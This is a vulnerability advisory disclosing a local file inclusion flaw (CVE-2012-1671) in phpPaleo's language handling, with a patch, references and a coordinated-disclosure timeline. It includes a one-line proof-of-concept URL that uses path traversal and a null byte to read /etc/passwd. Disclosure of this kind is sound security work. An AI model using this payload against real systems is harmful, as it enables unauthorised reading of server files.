'phpPaleo' Local File Inclusion (CVE-2012-1671)
Mark Stanislav - mark.stanislav@gmail.com
I. DESCRIPTION
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A vulnerability exists in index.php for language handling that allows for local file inclusion using a null-byte attack on the 'lang' GET parameter.
II. TESTED VERSION
---------------------------------------4.8b156
III. PoC EXPLOIT
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http://localhost/phppaleo/index.php?lang=../../../../../../../etc/passwd%00
IV. NOTES
---------------------------------------* magic_quotes_gpc must be disabled and PHP must be <5.3.4for null-byte attacks to work
V. SOLUTION
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Upgrade to 4.8b157 or above.
VI. REFERENCES
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http://sourceforge.net/projects/phppaleo/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1671
VII. TIMELINE
---------------------------------------03/01/2012- Initial vendor disclosure
03/02/2012- Vendor patched and released an updated version
04/04/2012- Public disclosure
